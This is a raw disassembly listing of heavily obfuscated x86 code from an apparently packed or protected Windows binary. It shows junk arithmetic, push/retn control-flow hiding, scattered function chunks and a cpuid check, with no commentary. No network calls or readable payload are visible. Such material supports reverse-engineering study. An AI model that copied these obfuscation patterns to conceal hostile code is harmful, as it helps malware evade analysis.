sub_42F3E7 ; =============== S U B R O U T I N E ======================================= sub_429308 proc near ; CODE XREF: sub_42FBC7-9438p ; wto1jq8f:0042C873j ; FUNCTION CHUNK AT 004241A3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424527 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042701C SIZE 0000001A BYTES xchg ebx, [esp+0] pop ebx push ebx push 0A8476DF9h pop ebx jmp loc_4241A3 sub_429308 endp ; =============== S U B R O U T I N E ======================================= sub_429318 proc near ; CODE XREF: sub_426535+C0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004284CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BB82 SIZE 00000008 BYTES push ebx push 9ADE27B0h pop ebx add ebx, 65643DBFh jmp loc_4284CF sub_429318 endp ; --------------------------------------------------------------------------- loc_42932A: ; CODE XREF: wto1jq8f:00428111j and esi, 0AC696EFEh xchg esi, edi jmp loc_42D559 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429337: ; CODE XREF: sub_426535:loc_429A4Aj jnz loc_42C172 jmp loc_42A1BD ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_429342: ; CODE XREF: wto1jq8f:0042C070j jz loc_42A98E jmp loc_42A74C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42934D: ; CODE XREF: sub_4244EA+48C2j mov eax, [ebp-4] cmp byte ptr [eax], 0EBh jz loc_427CC2 mov eax, [ebp-4] mov al, [eax] jmp loc_428979 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_429363: ; CODE XREF: sub_4262CE:loc_424DECj ; sub_4262CE+4B4Ej push offset sub_428BC4 jmp nullsub_252 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- xchg edi, [eax] or edx, 0D8AEE331h jmp sub_42B520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42937A: ; CODE XREF: sub_426E98+22j rol eax, 1 xor eax, 0B547F4A8h add eax, ebp add eax, 0AA388C32h push eax jmp loc_428436 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_429390: ; CODE XREF: sub_429B76-1FBDj push 0CDC8D458h pop esi add esi, 327989F0h xchg esi, [esp+8+var_8] jmp loc_4269C1 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_4293A4: ; CODE XREF: sub_42F6A9:loc_42D51Bj push esi push 0B4255884h xchg edx, [esp+0Ch+var_C] mov esi, edx pop edx sub esi, 7D5CECD7h jmp loc_42C39D ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4293BB: ; CODE XREF: sub_4262F5-1A14j pop ecx xchg ebp, [esp+0] mov ebx, ebp pop ebp pop ebp jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_4293C8 proc near ; CODE XREF: sub_42628C:loc_42B836j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426A14 SIZE 00000005 BYTES push ebp mov ebp, edi xchg ebp, [esp+4+var_4] push ebx push offset loc_426012 jmp loc_426A14 sub_4293C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4293D9: ; CODE XREF: sub_42EDB9+Dj push 2BB4ADC0h pop eax xor eax, 0F780FE81h cmp eax, 6CBDEBC9h jmp loc_42A373 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_4293F0: ; DATA XREF: sub_42E9E8-8A4Co cmp dword ptr [ebp-4], 0 jnz loc_426AF5 jmp loc_42FA89 ; =============== S U B R O U T I N E ======================================= sub_4293FF proc near ; CODE XREF: sub_428A19:loc_424DDDp ; FUNCTION CHUNK AT 004285DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428A3A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042BCCF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C988 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D2F3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042DC85 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC5E SIZE 00000010 BYTES xchg eax, [esp+0] mov eax, [esp+0] call sub_4245B5 test eax, eax jz loc_42E294 jmp loc_42DC85 sub_4293FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_429417: ; CODE XREF: sub_42C4E2:loc_426451j cmp dword ptr [ebp-14h], 6 loc_42941B: ; CODE XREF: sub_42FBC7:loc_4265AEj setz al jmp loc_4248F2 ; --------------------------------------------------------------------------- loc_429423: ; CODE XREF: sub_42C4E2:loc_42A398j cmp dword ptr [ebp-10h], 0 push offset sub_424BD4 jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; =============== S U B R O U T I N E ======================================= sub_429431 proc near ; DATA XREF: sub_42C0D7:loc_4295C4o ror eax, 0Ah push eax retn sub_429431 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429436: ; CODE XREF: wto1jq8f:0042B81Ej jmp loc_428951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42943B: ; CODE XREF: sub_42B353+6j jmp loc_4290BD ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_429440: ; CODE XREF: sub_4291B9-1742j jmp loc_42FB23 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; --------------------------------------------------------------------------- loc_429445: ; CODE XREF: wto1jq8f:0042A8A8j mov eax, [ebp-8] push esi jmp loc_42AA1C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42944F: ; CODE XREF: wto1jq8f:0042EC8Ej jmp loc_42A064 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_429454: ; CODE XREF: sub_426144-1E1Fj jmp loc_429690 ; END OF FUNCTION CHUNK FOR sub_426144 ; =============== S U B R O U T I N E ======================================= sub_429459 proc near ; CODE XREF: wto1jq8f:004286C5j ; sub_42FB2F-653Bp ; FUNCTION CHUNK AT 00426A33 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427F44 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AAB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D516 SIZE 00000005 BYTES mov [esp+0], edi pop edi mov esp, ebp pop ebp push 1444740Eh pop eax or eax, 0BBEF0476h jmp loc_42AAB8 sub_429459 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429471 proc near ; DATA XREF: sub_4240F6o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424881 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424958 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00424E5D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004260BF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426615 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004268AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042827F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004288F7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429612 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A4BD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AA82 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B18A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B60A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BF35 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C137 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C364 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CD28 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DAC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F365 SIZE 00000005 BYTES mov eax, ds:dword_429584 or eax, eax jnz loc_42A4BD jmp loc_42DAC5 sub_429471 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429484 proc near ; DATA XREF: wto1jq8f:0042B490o mov dword ptr [ebp-18h], 0 sub_429484 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42948B: ; CODE XREF: sub_425CE2:loc_42C878j mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] jmp loc_42D6E3 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- or esi, edx jmp sub_42DA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_4294A0: ; CODE XREF: sub_42AAC3:loc_42E071j not ecx ror edi, 1Fh jmp loc_4289DC ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D993 loc_4294AA: ; CODE XREF: sub_42D993+5j call sub_42A6CD ; END OF FUNCTION CHUNK FOR sub_42D993 ; START OF FUNCTION CHUNK FOR sub_426E98 loc_4294AF: ; CODE XREF: sub_426E98+64j jmp sub_42FB2F ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC85 loc_4294B4: ; CODE XREF: sub_42FC85+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax push offset sub_427798 jmp loc_42630E ; END OF FUNCTION CHUNK FOR sub_42FC85 ; =============== S U B R O U T I N E ======================================= sub_4294C7 proc near ; DATA XREF: sub_42B866+2o push ecx push offset sub_42826A jmp nullsub_236 sub_4294C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4294D2: ; CODE XREF: sub_42E9E8-7204j jnz loc_426AF5 jmp loc_426FB8 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_4294DD: ; CODE XREF: sub_42481C+Fj jz loc_42900A jmp loc_42F3C5 ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- loc_4294E8: ; CODE XREF: wto1jq8f:0042B4A8j cmp ds:dword_42F1F0, 0 jmp loc_42DAA9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4294F4 proc near ; CODE XREF: sub_4242D6j var_14 = byte ptr -14h ; FUNCTION CHUNK AT 0042A62A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C31F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F709 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F7F2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042FC10 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042FD28 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42F1F0, 0 jnz loc_42FD57 jmp loc_42FD28 sub_4294F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42950C: ; CODE XREF: sub_42DCB4:loc_425FD1j or eax, eax jz loc_429524 cmp eax, 0FFFFFFFFh jz loc_429524 mov eax, [eax] jmp loc_424C6D ; --------------------------------------------------------------------------- loc_429524: ; CODE XREF: sub_42DCB4:loc_428F11j ; sub_42DCB4-4D9Aj ... xor ebx, ebx loc_429526: ; CODE XREF: sub_42DCB4-7CE9j mov eax, ebx pop ecx jmp loc_42F5D2 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- sub ebp, 3DA4EF86h cmp ecx, 0BE8AE95Bh jmp loc_42E331 ; --------------------------------------------------------------------------- loc_42953F: ; CODE XREF: wto1jq8f:0042C280j cmp ecx, 1B21397h jmp loc_42DEF9 ; --------------------------------------------------------------------------- dw 0C319h dword_42954C dd 0 ; sub_42B8FC+1806r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_429550: ; CODE XREF: sub_426D4F+12j jmp loc_42EDA3 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- db 66h, 1Ch, 0FBh dword_429558 dd 0 ; sub_429D2E+3r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42955C: ; CODE XREF: sub_42C486-4A7Fj jmp loc_4240C3 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_429561: ; CODE XREF: wto1jq8f:00427642j ; sub_42606D:loc_42E8FDj jmp loc_42CC45 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D8D loc_429566: ; CODE XREF: sub_427D8D-2278j jmp nullsub_166 ; END OF FUNCTION CHUNK FOR sub_427D8D ; --------------------------------------------------------------------------- db 1 dword_42956C dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429570: ; CODE XREF: sub_426535+3C0j jmp loc_42F553 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 26h, 0ECh, 0DFh dword_429578 dd 0 ; sub_426535+587Er ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42957C: ; CODE XREF: sub_42A6CD-19Ej jmp loc_42BCDB ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- db 1Fh, 40h, 0F0h dword_429584 dd 0 ; sub_42A4A5:loc_42A4B1w ; --------------------------------------------------------------------------- loc_429588: ; CODE XREF: wto1jq8f:0042BFCBj jmp sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42958D: ; CODE XREF: sub_426968+42DDj jmp loc_42AB09 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- or esi, ecx jmp sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_429599: ; CODE XREF: sub_42606D+2CD5j pop ebp cmp edi, ebx jmp loc_42E8FD ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- loc_4295A1: ; CODE XREF: wto1jq8f:0042A29Bj push 0DAD5A4F2h mov [esp], eax retn ; =============== S U B R O U T I N E ======================================= sub_4295AA proc near ; CODE XREF: sub_4243D7+1E60p ; FUNCTION CHUNK AT 00428913 SIZE 00000005 BYTES push 5202A57Ch push offset loc_42A30F jmp loc_428913 sub_4295AA endp ; --------------------------------------------------------------------------- push eax rol eax, 0Ah mov ds:dword_429050, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_4295C4: ; CODE XREF: sub_42C0D7-1C03j push offset sub_429431 jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_4295CE: ; CODE XREF: sub_42970D+2C44j xchg ecx, edi sbb ebx, 0D8C6C55Fh loc_4295D6: ; CODE XREF: sub_42970D:loc_4298E1j push edx push 0B0E4B250h pop edx rol edx, 4 xor edx, 16606A98h add edx, 0E817576Ah jmp loc_42E791 ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FB2F loc_4295F1: ; CODE XREF: sub_42FB2F:loc_42F50Aj mov [esp+0], ecx call sub_429459 ; END OF FUNCTION CHUNK FOR sub_42FB2F ; START OF FUNCTION CHUNK FOR sub_42C990 loc_4295F9: ; CODE XREF: sub_42C990+Cj jmp loc_42502C ; END OF FUNCTION CHUNK FOR sub_42C990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4295FE: ; CODE XREF: sub_426968+18j jmp loc_42E20D ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429603: ; CODE XREF: sub_426535-14CBj jnz loc_424934 jmp loc_42A9B1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C670 loc_42960E: ; CODE XREF: sub_42C670:loc_42CCE3j mov [edx], eax pop edx retn ; END OF FUNCTION CHUNK FOR sub_42C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_429612: ; CODE XREF: sub_429471-339Bj jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_429617: ; CODE XREF: sub_42E0FD-568Bj ror eax, 18h jmp loc_42C665 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42961F: ; CODE XREF: sub_42D9B0:loc_42AD30j jz loc_425D16 inc dword ptr [ebp-8] loc_429628: ; CODE XREF: sub_42D9B0:loc_427037j ; sub_42D9B0+1B29j push offset sub_425D0A jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_429633: ; CODE XREF: sub_42B02D-2212j jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429638: ; CODE XREF: sub_425F4F:loc_4273AFj ror eax, 16h push eax retn ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_42963D: ; CODE XREF: wto1jq8f:004291AEj jmp loc_428A59 ; =============== S U B R O U T I N E ======================================= sub_429642 proc near ; CODE XREF: sub_42F614-95B9p ; sub_429BFF+6p push ebp jmp loc_426129 sub_429642 endp ; --------------------------------------------------------------------------- jle loc_42D622 jmp loc_42D2B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_429653: ; CODE XREF: sub_42F614-56EDj mov eax, esp jmp loc_424DBA ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42965A: ; CODE XREF: sub_42CB36j mov eax, ds:dword_42F1CC or eax, eax loc_429662: ; CODE XREF: sub_42FBC7:loc_427C02j jnz loc_42BC8F jmp loc_42794E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- loc_42966D: ; CODE XREF: wto1jq8f:0042E19Dj jl sub_4296B3 pop edx add edx, 0B587069Ah loc_42967A: ; CODE XREF: wto1jq8f:loc_42E17Fj xor eax, 10A02000h xor ebx, ebx xor edx, edx cpuid and eax, 2FFFh jmp loc_429CA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_429690: ; CODE XREF: sub_426144:loc_429454j jnz loc_42F8FF jmp loc_4277B4 ; END OF FUNCTION CHUNK FOR sub_426144 ; =============== S U B R O U T I N E ======================================= sub_42969B proc near ; CODE XREF: sub_42ED54+Ap xchg eax, [esp+0] mov eax, [esp+0] rol eax, 16h loc_4296A4: ; CODE XREF: wto1jq8f:0042EFB0j mov ds:dword_42ACFC, eax retn sub_42969B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_4296AB: ; CODE XREF: sub_42EFB5-2C23j ; sub_42BE69+B83j ror eax, 16h jmp loc_424569 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; =============== S U B R O U T I N E ======================================= sub_4296B3 proc near ; CODE XREF: wto1jq8f:loc_42966Dj ; sub_42E9E8:loc_42D949p ; FUNCTION CHUNK AT 0042FD4D SIZE 00000005 BYTES mov [esp+0], eax call sub_42DFE5 call sub_429BD3 loc_4296C0: ; CODE XREF: sub_426806:loc_425E30j jz loc_4250E0 push ebp push offset sub_4250D4 jmp loc_42FD4D sub_4296B3 endp ; --------------------------------------------------------------------------- loc_4296D1: ; CODE XREF: wto1jq8f:004276AEj jnp loc_428A0E xchg edi, [edx] jmp sub_42C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_4296DE: ; CODE XREF: sub_426313-2097j test ebx, 0C72A9BCBh jmp loc_42B096 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4296E9: ; CODE XREF: sub_426950+1j mov ebp, esp push ecx mov esp, ebp xchg ebx, [esp+8+var_8] jmp loc_428484 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA8 loc_4296F6: ; CODE XREF: sub_425EA8:loc_42F35Bj push offset loc_42EFE8 jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_425EA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_429700: ; CODE XREF: sub_426842+5EE3j ja loc_424D94 ; END OF FUNCTION CHUNK FOR sub_426842 ; =============== S U B R O U T I N E ======================================= sub_429706 proc near ; CODE XREF: sub_428F61-1B00p mov [esp+0], ecx pop ecx pop ecx pop ebp retn sub_429706 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42970D proc near ; CODE XREF: sub_428F61:loc_42745Cp ; FUNCTION CHUNK AT 0042764D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042858A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428B39 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004295CE SIZE 00000023 BYTES ; FUNCTION CHUNK AT 004298E1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A4A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A980 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ABC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C1E1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C345 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F9D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FC39 SIZE 00000008 BYTES push ebp jmp loc_42ABC5 sub_42970D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429713: ; DATA XREF: sub_4266B1:loc_42AB18o mov [esp], ecx push 7C2F30A6h pop ecx add ecx, 8413A526h mov [ecx], eax pop ecx jmp loc_42CCCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE77 loc_42972A: ; CODE XREF: sub_42DE77+5j push 4FF286D6h mov eax, offset loc_42973D xchg eax, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_42DE77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D22D loc_429738: ; CODE XREF: sub_42D22D+Cj jmp loc_42AF90 ; END OF FUNCTION CHUNK FOR sub_42D22D ; --------------------------------------------------------------------------- loc_42973D: ; DATA XREF: sub_42DE77-4748o xor eax, 4FF286D7h shl eax, cl mov edx, [ebp-20h] jmp loc_42ACD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42974D: ; CODE XREF: sub_42C486:loc_42BBB9j mov ecx, [ebp-18h] and ecx, 7 ; END OF FUNCTION CHUNK FOR sub_42C486 ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_429753: ; CODE XREF: sub_429BD3:loc_428A41j mov al, 1 shl al, cl jmp loc_42F272 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_42975C: ; CODE XREF: wto1jq8f:004276E4j ; wto1jq8f:0042781Bj ... mov esp, ebp xchg edx, [esp+0] push edx pop ebp jmp loc_42ACCF ; END OF FUNCTION CHUNK FOR sub_42FACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_429768: ; CODE XREF: sub_426E98:loc_42B9C6j jz loc_42EC39 jmp loc_42DFC3 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_429773: ; CODE XREF: wto1jq8f:0042D7E3j shr esi, 9 mov ecx, 0DA74ED11h xor edi, 19CE6EE1h ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_429781: ; CODE XREF: sub_426FD6+14j add eax, 818414A5h xor ebx, ebx xor ecx, ecx xor edx, edx jmp loc_425F26 ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_429792: ; CODE XREF: sub_426968+1A8j add esi, ebx cdq shr ecx, 0Fh jmp loc_42DF1A ; END OF FUNCTION CHUNK FOR sub_426968 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42979E: ; CODE XREF: sub_42C6C3-1455j jmp loc_428E74 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_4297A3: ; CODE XREF: sub_42EFB5-71ABj cmp esi, edi jmp loc_425D85 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- loc_4297AA: ; DATA XREF: sub_425B8C:loc_42EBC0o pop ebp push 8BA0485h pop eax sub eax, 6549B7D8h xor eax, 0C5331827h add eax, 99FF90AAh jmp loc_424364 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4297C8: ; CODE XREF: sub_42E9E8-71D5j jb loc_428E6E push eax push 100h lea eax, [ebp-2C8h] push eax push 4C91A0h mov eax, [ebp-10h] push eax jmp loc_426931 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_4297E9: ; CODE XREF: wto1jq8f:0042D00Dj jb loc_42A7D6 popf xor edi, eax loc_4297F2: ; CODE XREF: wto1jq8f:loc_42EE2Dj push 4646BCEAh pop eax or eax, 0C407C2D4h add eax, 83673FF5h add eax, ebp jmp loc_42769F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42980B: ; CODE XREF: sub_4272F3+3F43j jnz loc_426D68 jmp loc_42AB13 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; =============== S U B R O U T I N E ======================================= sub_429816 proc near ; DATA XREF: wto1jq8f:00425D7Bo ; FUNCTION CHUNK AT 0042A4B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D172 SIZE 00000014 BYTES push 0AF237DB8h pop eax sub eax, 241D1F7Dh or eax, 0B476DAACh add eax, 0F1A97BA5h add eax, ebp jmp loc_42A4B8 sub_429816 endp ; =============== S U B R O U T I N E ======================================= sub_429835 proc near ; DATA XREF: wto1jq8f:0042BE39o ; FUNCTION CHUNK AT 0042ED7C SIZE 00000005 BYTES add ebx, 90451DFFh xchg ebx, [esp+0] jmp loc_42ED7C sub_429835 endp ; --------------------------------------------------------------------------- loc_429843: ; CODE XREF: wto1jq8f:loc_42CE64j mov eax, 52h call sub_4282EB loc_42984D: ; CODE XREF: wto1jq8f:0042D205j jmp loc_42E17F ; --------------------------------------------------------------------------- loc_429852: ; CODE XREF: wto1jq8f:0042C1BAj jmp loc_427718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D322 loc_429857: ; CODE XREF: sub_42D322-31EAj push offset loc_42842B jmp nullsub_209 ; END OF FUNCTION CHUNK FOR sub_42D322 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_429861: ; CODE XREF: sub_4260A9:loc_428688j xor edx, edx jmp loc_42778D ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429868: ; CODE XREF: sub_425CE2+1j add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_429263 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42987C: ; DATA XREF: sub_4287D0+Bo mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42ACE4 jmp loc_42C068 ; --------------------------------------------------------------------------- call sub_42A289 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_429893: ; CODE XREF: sub_4244EA+B877j jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; 